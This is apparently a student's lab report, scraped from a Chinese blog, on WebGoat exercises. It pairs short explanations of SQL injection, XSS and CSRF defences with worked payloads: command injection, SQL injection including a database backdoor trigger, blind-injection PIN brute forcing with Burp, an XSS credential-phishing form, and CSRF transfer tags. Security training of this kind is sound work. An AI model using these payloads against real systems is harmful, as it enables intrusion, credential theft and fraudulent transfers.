标签:分享图片 类型 搜索 web安全 暴力 open 连接 cat 依次
(1)SQL注入攻击原理,如何防御
(2)XSS攻击的原理,如何防御
<
和>
标记,XSS跨站攻击的最终目标是引入script代码在用户的浏览器中执行,所以最基本最简单的过滤方法,就是转换<
和>
标记。javascript
,jscript
,vbscript
,都用空白代替。&
、回车和空格。(3)CSRF攻击原理,如何防御
www.B.com
域名下的网站,内部嵌入了恶意的src=www.A.com
的Request指令,如果被害者打开B.com时当前浏览器正好已经登录过了A.com并且把A.com的Cookie放入了浏览器,那么在B.com下Request站点A.com时就会带走A.com的Session.服务器会错误的认为B.com的恶意请求是用户自己发出的。这次实验花费了较多的时间,在实践过程中也是在一边进行学习一边进行实践,对于完成试验也不急,慢慢学习并实践,对于不会的东西利用强大的度娘来答疑解惑也是学到了很多东西,可以说比起前面的每次实验应该是学到东西最多的一次实验,但不得不承认要是没有前面实践的基础,这次实践肯定也是云里雾里,毫无意义。所以通过这所有的实验以及这最后一次的综合实践,对于前面的知识也有了些一些融会贯通的感觉。除此之外,之前的恐惧与不安变成了想拿同学来试一试了,哈哈哈。
java -jar webgoat-container-7.0.1-war-exec.jar
。localhost:8080/WebGoat
,进入WebGoat,默认的账号密码进行登录。Injection Flaws
再选择Command Injection
。看一下hints,大概意思应该是应用程序使用系统命令来返回文件的内容,也是通过翻译以及自己的理解总结出的意思,意思应该是通过使用系统命令向操作系统获得注入,那么尝试注入netstat
以及ifconfig
这两个系统命令以获取本地计算机建立连接的IP以及系统的网络端口使用情况以及IP地址。
在所请求的页面源代码中添加"& netstat -an & ipconfig"
,注意有个英文的双引号,此处也就是在我的火狐的源代码里添加这个代码,源代码需要点击火狐的扩展里的小虫子(如下图),就可以看到网页的源代码,在BackDoors.help
的后面加上"& netstat -an & ifconfig"
。
在课程页面的下拉菜单就可以看到我们新设的值,选定它,然后点击view
。
wow,出现了网络端口使用情况和IP地址。
SELECT * FROM weather_data WHERE station = [station]
,要获得所有的天气数据,就在station中的任意一个值后面加入一个1=1
,由于1=1
为永真式,选择所修改的value所指向的城市,就可以得到所有的天气。PC%0d%0aLogin Succeeded for username: admin
,这样就可以在日志中留下Login Succeeded for username: admin
这样的假的登陆成功的日志。Smith‘ OR ‘1‘=‘1
,也就是当last name为Smith或者1=1时输出信息,又由于1=1为恒等式,所以所有的用户信息都会被输出。‘ or 1=1 --
为密码登陆,‘--‘为注释符号。Stage 3:Numeric SQL Injection
首先用Larry用户,密码larry来登录,浏览员工信息的按钮是ViewProfile
。
要通过员工的信息获得boss的账户信息,那么应该是在点击了ViewProfile
按钮之后出现,要想办法在点击了这个按钮之后出现boss的信息,那么在网页代码中分析一下这个按钮是怎么工作的。因此在HTML文件中找到它的上下文代码。
可以看到这个员工还有按钮是通过员工ID联系到一起的,那么如果我把员工ID改为101 or 1=1 --
呢,尝试一下,发现出来的仍然是Larry的信息。
101 or 1=1 order by salary desc --
,ok,成功了。数据库后门。输入101,得到该用户的信息。
可以发现输入的语句没有验证,很容易进行SQL注入攻击;那么若要执行连个语句,中间需要用分号分隔。输入注入语句101; update employee set salary=100
,成功更改了工资。
接下来,添加一个触发器,输入101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘2015339@qq.com‘ WHERE userid = NEW.userid
。
在这里我们知道一个值cc_number=1111222233334444
,但是想知道其pin
在pins table
里的值,可以使用盲注进行爆破,那么先尝试一下(SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 100;
看其PIN值是否大于100,结果为An error occurred, please try again.
,发生错误?那尝试一下默认的值101
,测试为Account number is valid.
,这说明101
为真,且之前那个应该为语法错误,所以不能直接输入测试的值,那么就尝试在101
后面加上一组数值来判断该数值是否为真。综合上面的两个语句,尝试一下101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 100 );
,结果为真,那么说明这个的PIN值大于100。
之后尝试了几组数值,差距有点大,用二分法也得一会儿,就选择抓包,打开BurpSuite,设置代理,点击Proxy
->options
,默认端口为8080,现在已经被占用,所以添加一个add
然后ok
,勾选新增项。
设置浏览器的代理,打开浏览器右侧的“更多”,依次点击preference
->advanced
->natwork
->settings
,选择下图所示代理,端口号为自己刚刚设置的端口号。
浏览器设置好自己所注入的SQL,点击GO
,这边就已经抓好包了,右键send to intruder
,使用sniper
模式,先clear
,把它默认的攻击位置全部取消,然后选择account_number
后面的值点击(注意只需要选择数值,后面的submit
不能选上)Add
。
接下来设置载荷,由于我们要进行数字类型的暴力破解,所以我们点击payload
选择载荷类型为Numbers
。根据前面的二分法筛选后数值设定为从2000到3000进行,步数为1,设置完成后开始攻击,这个时间比较久,可以先去干别的事,最后可以发现2364的报文长度值和其他不同。那么猜测是2364。
跨站脚本钓鱼攻击。首先看看要求,大概意思是将html制作一个请求页面,添加javascript来实际收集信息。
将信息发送到http://localhost:8080/webgoat /catcher?PROPERTY=yes…
这个比较茫然,要把这个HTML插入到哪里呀?那看看hints:尝试在搜索字段中添加HTML以创建一个伪造的身份验证表单,因为表单很容易受到XSS的攻击。
试着让表单看起来很正式,那么需要一个符合要求的XSS攻击代码插入到搜索字段。
#!html
</form>
<script>
function send(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.attack.user.value + "&password=" + document.attack.pass.value + "";
}
</script>
<form name="attack">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Username:<br>
<input type="text" name="user">
<br>Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="send()">
</form>
<br>
<br>
<HR>
send()
函数,在这个函数里通过JavaScript来实现获取用户的信息(用户名和密码)并将其传送到题干中要求的地方,以达到一个钓鱼网站的构建。<script>alert("hahahaha");</script>
,当下一个用户点击这条留言的时候就中了XSS攻击。所以在输入框中输入<script>alert("bang");</script>
就会解释这段代码,验证一下,成功。
同样如果将这段脚本直接插入网页代码的输入框的value中也会实现这个功能。
根据提示以及要求,我们需要这样一条语句`<img src="http://localhost:8080/WebGoat/attack?Screen=484&menu=900&transferFunds=5000" width="1" height="1">
,其中src指向网站的链接,这里就是自己的这个网站,后面的两个参数可以根据要求里面的提示进行查找,就在右边的Parameters
中可以看到Screen
and menu
,根据值来填写,然后通过宽高设置成1像素,隐藏掉这个图片。
之后填写一个标题,在message中输入该语句,提交,点击留言,成功的转走了5000,这个练习成功了不会出现congratulation,只会在左边出现绿色的√。
attack?Screen=XXX&menu=YYY&transferFunds=ZZZ
这种语法,Src值以及menu值同样在右侧确定,由于指向的是本网站,所以可以直接attack?
,transferFunds
加上转账金额或者确认消息,将下面的代码添加到message中,随便一个title,提交,同样点击留言,ok,转账并且确认,可以看到左侧出现了小√。
<img src="attack?Screen=473&menu=900&transferFunds=5000"
width="1" height="1">
<img src="attack?Screen=473&menu=900&transferFunds=confirm"
width="1" height="1">
标签:分享图片 类型 搜索 web安全 暴力 open 连接 cat 依次
原文地址:https://www.cnblogs.com/pingcpingcuo/p/9060371.html